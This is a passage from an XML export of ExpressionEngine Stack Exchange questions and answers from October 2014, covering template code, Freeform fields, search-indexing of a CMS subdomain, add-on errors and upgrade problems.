OwnerUserId="425" LastEditorUserId="425" LastEditDate="2014-10-06T21:11:26.417" LastActivityDate="2014-10-06T21:11:26.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26046" PostTypeId="2" ParentId="13739" CreationDate="2014-10-05T15:25:55.617" Score="0" Body="&lt;p&gt;My experience with blank home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes when you are migrating your page you can get blank home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the problem with the home page not displaying from the base URL. it was because there was a default.html file in the root directory. The old hosting server must had set the order to look for start files to PHP extension as the first default so it ignored the default.html file in the root directory and loaded index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new hosting server must have the default extension it looks for as an .HTM or .HTML file and was loading the blank default.html file first. Once I deleted the blank default.html file the hosting server started loading the index.php file and displayed the WordPress home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BR&lt;br/&gt;&#xA;&lt;a href=&quot;http://gr8.si/category/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Andrej&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3657" LastActivityDate="2014-10-05T15:25:55.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26047" PostTypeId="2" ParentId="26031" CreationDate="2014-10-05T15:37:17.580" Score="1" Body="&lt;p&gt;Using template groups for different language identifiers is always going to be limiting and not easily scaleable, but to resolve your issue I'd suggest a redirect plugin that takes the user to a specific template that then decides where to take them: &lt;a href=&quot;http://devot-ee.com/add-ons/login-redirect&quot; rel=&quot;nofollow&quot;&gt;Login Redirect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not sure what you're going to use as an identifier to know where to take them...?  The previous plugin may have the option to return to original page, or you could use &lt;a href=&quot;http://devot-ee.com/add-ons/page-history&quot; rel=&quot;nofollow&quot;&gt;Page History&lt;/a&gt; to see which language page they came from before logging in and taking them there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively use &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt; to handle your login which could be on your language page itself and I'm fairly certain can redirect back to the page they came from (if that's suitable).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-10-05T15:37:17.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26049" PostTypeId="2" ParentId="25483" CreationDate="2014-10-06T00:13:00.700" Score="0" Body="&lt;p&gt;Can also happen if your (multi_)add_to_cart form is not correctly passing the options in properly, so check how you're doing that carefully.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-10-06T00:13:00.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26050" PostTypeId="2" ParentId="26028" CreationDate="2014-10-06T02:00:44.157" Score="1" Body="&lt;p&gt;I'm actually doing someting similar on a site right now to display a list of entries that have been released over the past several months.  It groups by month and displays the corresponding entries underneath.  Here is my base code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;&quot; limit=&quot;20&quot; month_limit=&quot;2&quot; category_group=&quot;4|9|5|3&quot;}&#xA;    {date_heading display=&quot;monthly&quot;}&#xA;        &amp;lt;h4 class=&quot;whats-new-month&quot;&amp;gt;&#xA;            &amp;lt;a name=&quot;#{entry_date format=&quot;%F-%Y&quot;}&quot;&amp;gt;{entry_date format=&quot;%F %Y&quot;} Releases&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/h4&amp;gt;&#xA;    {/date_heading}&#xA;    &amp;lt;div class=&quot;whats-new&quot;&amp;gt;&#xA;        &amp;lt;h6&amp;gt;{title}&amp;lt;/h6&amp;gt;&#xA;        &amp;lt;ul class=&quot;whats-new&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Date Released&amp;lt;/b&amp;gt;: {entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/li&amp;gt;&#xA;            {if cf_master_summary}&#xA;                &amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Summary&amp;lt;/b&amp;gt;: {cf_master_summary}&amp;lt;/li&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Where to find it&amp;lt;/b&amp;gt;: &amp;lt;a href=&quot;&quot;&amp;gt;...&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-10-06T02:00:44.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26052" PostTypeId="1" CreationDate="2014-10-06T04:16:29.307" Score="0" ViewCount="376" Body="&lt;p&gt;The SEO agency in charge of my client's website has unearthed a significant duplication issue due to which the business may get penalized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have setup the expressionengine cms at &lt;code&gt;secretcmsurl.domain.com&lt;/code&gt; and somehow google has managed to index all CMS related urls which are obviously the same as the main websites. We now need to un-index these cms urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I suggested that we add no-follow robots.txt entries, the agency said that it would reflect on the main website as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I now add a &lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&lt;/code&gt; meta tag &lt;strong&gt;only&lt;/strong&gt; to the backend cms templates? Do I write a plugin? If so, what kind of plugin?&lt;/p&gt;&#xA;" OwnerUserId="811" LastActivityDate="2014-10-06T07:56:46.700" Title="How do I add a no follow meta tag to expression engine CMS templates?" Tags="|plugin|redirects|seo|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26054" PostTypeId="2" ParentId="26052" CreationDate="2014-10-06T07:56:46.700" Score="2" Body="&lt;p&gt;It's a simple matter of adding the robots meta tag to the templates which you don't wish to be indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use Google's Webmaster Tools to remove those URLs from its index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a 'dynamic' robots file that applies only to your subdomain by using an htaccess rule like so: (from &lt;a href=&quot;http://moz.com/community/q/block-an-entire-subdomain-with-robots-txt&quot; rel=&quot;nofollow&quot;&gt;http://moz.com/community/q/block-an-entire-subdomain-with-robots-txt&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} ^subdomain.website.com$&#xA;RewriteRule ^robotx\.txt$ robots-subdomain.txt&#xA;&#xA;Then add:&#xA;&#xA;User-agent: *&#xA;Disallow: / &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also read the rest of that thread and specifically &lt;a href=&quot;http://moz.com/blog/robot-access-indexation-restriction-techniques-avoiding-conflicts&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The very next thing I would do is sort out how the site is set up. Having the subdomain and root domain pointing at the same place sounds like a recipe for disaster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are the &quot;CMS&quot; pages being crawled? Surely it requires a log-in to access them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the very least turn on http authentication for the templates you use for the CMS portion of the site to prevent them being crawled by anything that doesn't have the necessary credentials.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-06T07:56:46.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26055" PostTypeId="2" ParentId="25880" CreationDate="2014-10-06T09:06:38.330" Score="1" Body="&lt;p&gt;I wrote this function... try it out...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function create_matrix_field($field_id, $type, $name, $label, $required = 'y', $search = 'y')&#xA;{&#xA;    $matrix_columns = array('site_id'               =&amp;gt; $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_id')&#xA;                            , 'field_id'            =&amp;gt; $field_id&#xA;                            , 'var_id'              =&amp;gt; null&#xA;                            , 'col_name'            =&amp;gt; $name&#xA;                            , 'col_label'           =&amp;gt; $label&#xA;                            , 'col_instructions'    =&amp;gt; ''&#xA;                            , 'col_type'            =&amp;gt; $type&#xA;                            , 'col_required'        =&amp;gt; $required&#xA;                            , 'col_search'          =&amp;gt; $search&#xA;                            );&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('exp_matrix_cols', $matrix_columns);&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query('ALTER TABLE exp_matrix_data ADD col_id_' . $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert_id() . ' VARCHAR(255)');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1886" LastActivityDate="2014-10-06T09:06:38.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26059" PostTypeId="1" CreationDate="2014-10-06T13:01:02.380" Score="0" ViewCount="53" Body="&lt;p&gt;EE 2.9.2 Updater 3.2.15&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After uploading a file and starting the action queue, I get this error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;LOCAL: The destination dir is not writeable:&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing after the last colon to explain in more detail. Updater's test settings says FAILED for all 25 tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the permissions and ownership of all the files. I have had Nexcess check the permissions and ownership of the files. They reviewed &lt;a href=&quot;http://www.devdemon.com/documentation/tag/common-errors/&quot; rel=&quot;nofollow&quot;&gt;your common errors page&lt;/a&gt; They wrote…&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would recommend contacting the developer directly for more information if possible, as the files are all owned by your user/group and as he states in his bottom portion of his FAQ since it's a single user environment for this account, the permissions are set correctly with 2755 and 0644 which is standard for accounts such as this on shared environments for security reasons.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="646" LastActivityDate="2014-10-06T13:01:02.380" Title="Updater Error: Destination dir is not writeable" Tags="|devdemon|devdemon-updater|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26061" PostTypeId="2" ParentId="25682" CreationDate="2014-10-06T13:58:12.277" Score="0" Body="&lt;p&gt;I ran into this same problem a few months back. See post here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/8815/images-disappearing-from-matrix-field/21247#21247&quot;&gt;Images disappearing from Matrix field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrading to the newest version of Matrix was the ticket for me.&lt;/p&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-10-06T13:58:12.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26062" PostTypeId="1" AcceptedAnswerId="26098" CreationDate="2014-10-06T15:59:49.360" Score="0" ViewCount="76" Body="&lt;p&gt;I'm building a course booking system.  Users will be able to book one or more 'places' on a course.  When they make their booking, they need to provide their details (name, address, age, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say a user is booking 5 places on a given course.  They need to be able to provide different details for each of those places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's similar to what you might have seen when booking plane tickets.  You specify how many people are flying, then you get a form with a set of fields for each passenger where you enter their name, passport number, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I might be able to use the &lt;a href=&quot;https://www.exp-resso.com/docs/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;product form tag&lt;/a&gt; and add custom modifiers, but it doesn't seem to be possible to add different modifiers for each 'instance' of the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done something similar?  Am I barking up the wrong tree with modifiers?  Is there a better solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&#xA;Pete&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2014-10-08T11:01:52.510" Title="Can I add custom product modifiers that are different for each instance of the product in the cart?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26063" PostTypeId="1" AcceptedAnswerId="27003" CreationDate="2014-10-06T16:50:14.510" Score="0" ViewCount="52" Body="&lt;p&gt;EE v2.7.2, Solspace Friends v. 1.6.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT Updated Friends module, still same PHP errors. And they increase.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error with several messages, of which this is the first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Friends_groups::$aob&#xA;&#xA;Filename: libraries/Friends_groups.php&#xA;&#xA;Line Number: 1365&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when using this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                {exp:friends:groups type=&quot;all_groups&quot; friends_group_id=&quot;{segment_4}&quot; limit=&quot;1&quot; dynamic=&quot;off&quot;}&#xA;&#xA;&amp;lt;h5&amp;gt;Weblog Entries for this Group&amp;lt;/h5&amp;gt;&#xA;                        &amp;lt;ul&amp;gt;&#xA;                        {exp:friends:group_entries&#xA;                        channel=&quot;groups_publications&quot;&#xA;                            group_name=&quot;{segment_4}&quot;&#xA;                        }&#xA;....my channel &#xA;&#xA;fields....&#xA;&#xA;&#xA;&#xA;&#xA;    {/exp:friends:group_entries}&#xA;{/exp:friends:groups}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The EE tag does return the right data, so my question, is there something there should be done about this, or can I just ignore it?&#xA;Thank you for looking at it.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2014-10-30T08:56:47.597" LastActivityDate="2014-12-03T18:02:49.800" Title="Error module Solspace Friends when using standard code from the manual" Tags="|solspace|solspace-friends|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26064" PostTypeId="1" CreationDate="2014-10-06T17:08:17.140" Score="0" ViewCount="70" Body="&lt;p&gt;Looking at various add ons for Expressionengine I found Cartthrobs Subscription module which looks almost perfect for my requirement. When I say almost, the issue is that my customer is using PayPal pro but in the documentation for Subscriptions it says it only supports:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Authorize.net (CIM) &lt;/li&gt;&#xA;&lt;li&gt;eWay (Token Payments) &lt;/li&gt;&#xA;&lt;li&gt;Payleap (SCM) &lt;/li&gt;&#xA;&lt;li&gt;Sage (Token)&lt;/li&gt;&#xA;&lt;li&gt;Stripe&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Surely there will be a way to set up using PayPal pro for the gateway but I dont know if this will be possible? Is there an alternative if not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm struggling to find out for definite if I can make it work with PayPal Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Guy&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2016-01-11T07:15:24.163" Title="Cartthrob Subscriptions and PayPal Pro" Tags="|expresso-store|cartthrob|paypal|brilliantretail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26065" PostTypeId="1" CreationDate="2014-10-06T18:13:09.447" Score="3" ViewCount="210" Body="&lt;p&gt;due to the nature of my project, I cannot use the standard freeform syntax: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {freeform:field:short_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I instead have to use the following syntax: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;ui left aligned icon input&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; placeholder=&quot;Vor- Nachname&quot; id=&quot;short_name&quot; value=&quot;&quot; name=&quot;short_name&quot; required /&amp;gt;   &#xA;        &amp;lt;i class=&quot;user icon&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;        &amp;lt;div class=&quot;ui corner label&quot;&amp;gt;&amp;lt;i class=&quot;asterisk icon&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It all works great - but If one omits something that triggers an error, the fields that were already filled in are blank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to populate the value=&quot;&quot; parameter with the things one entered before the error occurred. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. value=&quot;{..._short_name}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw: values are stored if you use the {freeform:field:short_name} syntax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="159" LastEditDate="2014-10-06T19:45:47.987" LastActivityDate="2015-09-02T10:43:51.420" Title="Freeform loses its values if an error occurs when not using the standard {freeform:field:short_name}" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26066" PostTypeId="2" ParentId="26065" CreationDate="2014-10-06T18:46:00.810" Score="2" Body="&lt;p&gt;After fiddling around I found an undocumented feature: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can add almost all attributes within the standard field syntax. &#xA;so this works: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;label for=&quot;name&quot;&amp;gt;My Field Label&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;ui left aligned icon input&quot;&amp;gt;&#xA;        {freeform:field:my_field attr:placeholder=&quot;My Field Label&quot; attr:id=&quot;my_field&quot; attr:required=&quot;required&quot;}&#xA;        &amp;lt;i class=&quot;user icon&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;        &amp;lt;div class=&quot;ui corner label&quot;&amp;gt;&amp;lt;i class=&quot;asterisk icon&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the attr:placeholder, attr:required were not documented, but work like they should! &#xA;great! &lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2014-10-06T18:46:00.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26067" PostTypeId="1" AcceptedAnswerId="26072" CreationDate="2014-10-06T19:22:17.570" Score="0" ViewCount="177" Body="&lt;p&gt;I'm trying to get the fields that appear on my contact form to be pre-populated using the standard HTML &quot;Value&quot; attribute, but can not figure out how to get the freeform:field declaration to pass it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have the following in my form code:&#xA;{freeform:field:name value=&quot;test&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the form online as of right now:&#xA;&lt;a href=&quot;http://sustainablefurnishings.com/contact_us/&quot; rel=&quot;nofollow&quot;&gt;http://sustainablefurnishings.com/contact_us/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;value&quot; is not populated in the code and therefore doesn't appear in the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can the &quot;Value&quot; be set for a form field using the FreeForm Pro tools? Am I missing something in their documentation?&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-10-23T11:37:05.670" Title="FreeForm Pro 4.2.0 form fields prepulated with &quot;value&quot;" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26068" PostTypeId="1" AcceptedAnswerId="26069" CreationDate="2014-10-06T19:39:27.453" Score="0" ViewCount="376" Body="&lt;p&gt;I was successfully using the following block of code until I upgraded to EE 2.9.0. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT( * ) AS itemCount FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'&quot;}&#xA;        {if 15 &amp;gt; {itemCount}}&#xA;                  &amp;lt;td&amp;gt;&amp;lt;label for=&quot;setup_1&quot;&amp;gt;Mon. Dec. 9, Setup/iron - 9am-noon: {exp:query sql=&quot;SELECT 15 - COUNT( * ) AS itemNeeded FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'&quot;}{itemNeeded}{/exp:query} needed &amp;lt;/label&amp;gt;&#xA;                  &amp;lt;input type=&quot;checkbox&quot; name=&quot;setup_1&quot; id=&quot;setup_1&quot; value=&quot;Yes&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;td&amp;gt;Monday 9-noon is full&amp;lt;/td&amp;gt;&#xA;        {/if}&#xA;    {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now however I get the following error message when I try and load the page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You have an invalid conditional in your template. Please review your&#xA;  conditionals for an unclosed string, invalid operators, a missing },&#xA;  or a missing {/if}.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Parser State: Unexpected end of Template “apex/volunteer-form” on line&#xA;  2; expected ENDIF tag for opening on line 1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have carefully checked the page and don't see any missing {/if} or }. Any suggestions for what I am missing here?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-10-06T20:23:04.423" Title="Conditional Breaks after 2.9 upgrade" Tags="|conditionals|advanced-conditionals|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26069" PostTypeId="2" ParentId="26068" CreationDate="2014-10-06T20:23:04.423" Score="0" Body="&lt;p&gt;I did some experimenting and with some leading questions from Mark was lead to discover that {itemCount} needs to be inside of quotes but not inside of { }. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the final solution is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT( * ) AS itemCount FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'&quot;}&#xA;        {if 15 &amp;gt; &quot;itemCount&quot;}&#xA;                  &amp;lt;td&amp;gt;&amp;lt;label for=&quot;setup_1&quot;&amp;gt;Mon. Dec. 9, Setup/iron - 9am-noon: {exp:query sql=&quot;SELECT 15 - COUNT( * ) AS itemNeeded FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'&quot;}{itemNeeded}{/exp:query} needed &amp;lt;/label&amp;gt;&#xA;                  &amp;lt;input type=&quot;checkbox&quot; name=&quot;setup_1&quot; id=&quot;setup_1&quot; value=&quot;Yes&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;td&amp;gt;Monday 9-noon is full&amp;lt;/td&amp;gt;&#xA;        {/if}&#xA;    {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the conditional as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if 15 &amp;gt; &quot;itemCount&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-10-06T20:23:04.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26070" PostTypeId="1" CreationDate="2014-10-06T23:31:35.393" Score="0" ViewCount="87" Body="&lt;p&gt;I am trying to use DevDemon's(3.21) tagger with Structure(3.3.14.5) EE (2.9)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not trying to do anything fancy, but I can't seem to wrap my mind around how to achieve a basic list of blog entries with the same tag. My blog entries are being pulled from a structure listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anytime I try anything I get an error message saying &quot;this page doesn't exist&quot; Obviously it's saying that because the url &lt;a href=&quot;http://domain.com/tag/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/tag/&lt;/a&gt;{tag_name} doesn't correspond with any page created by structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blog page is using a channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to achieve this? I was wanting to use tag instead of categories because of the content fro the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jason&lt;/p&gt;&#xA;" OwnerUserId="3658" LastActivityDate="2016-05-08T10:31:36.927" Title="Trying to use tagger with structure.. no luck" Tags="|structure|devdemon-tagger|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26071" PostTypeId="1" CreationDate="2014-10-07T02:46:22.260" Score="0" ViewCount="169" Body="&lt;p&gt;I have installed the forms module in a MSM site and even after logging in through the url listed in my general config, I'm getting the &#xA;“Failed to load Default Forms Fields.. Refreshing the page might help.”&#xA;“Failed to load DB Fields.. Refreshing the page might help. DO NOT SAVE THE FORM!”&#xA;one two combo. I'm running ee v2.9.0 and forms 3.4.12. Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3662" LastActivityDate="2020-03-27T17:02:04.180" Title="Forms not loading DB fields" Tags="|ee2|forms|devdemon-forms|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="26072" PostTypeId="2" ParentId="26067" CreationDate="2014-10-07T04:46:54.723" Score="1" Body="&lt;p&gt;The parameter you are looking for is default_value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:my_field default_value=&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_field_field_name&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#freeform_field_field_name&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-07T04:46:54.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26074" PostTypeId="2" ParentId="26070" CreationDate="2014-10-07T07:23:28.673" Score="-1" Body="&lt;p&gt;You need to use &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;freebie&lt;/a&gt; to achieve what you want.&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-10-07T07:23:28.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26075" PostTypeId="1" CreationDate="2014-10-07T09:53:32.360" Score="2" ViewCount="190" Body="&lt;p&gt;When I add a Channel Entry with a title such as &lt;code&gt;John's Test Entry&lt;/code&gt;, when EE outputs it to the template, it is outputting it as &lt;code&gt;John’s Test Entry&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the difference in the apostrophe? I've tried editing the entry - even in the database - to use a 'regular' apostrophe, but it always outputs like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to disable this functionality in EE, as it is causing some internal PHP issues with some templates we are using. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2015-05-07T11:57:56.563" Title="Does EE do anything fancy with 'smart' quotation marks and apostrophes? It seems to be doing so automatically and is breaking my site" Tags="|channel-entries|core|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26076" PostTypeId="1" AcceptedAnswerId="26089" CreationDate="2014-10-07T10:03:38.847" Score="0" ViewCount="68" Body="&lt;p&gt;After the Safari-7.1-Update the CKEditor does no more work properly. There is a fix: &lt;a href=&quot;http://ckeditor.com/blog/CKEditor-4.4.5-Released&quot; rel=&quot;nofollow&quot;&gt;CKEditor 4.4.5 with Safari 7.1 Fix Released&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which packet do I have to download (Basic, Standard, Full) and where do I have to install it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!!&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2015-12-16T21:26:47.743" Title="Update WYGWAM's CKEditor manually" Tags="|pixelandtonic|wygwam|ckeditor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
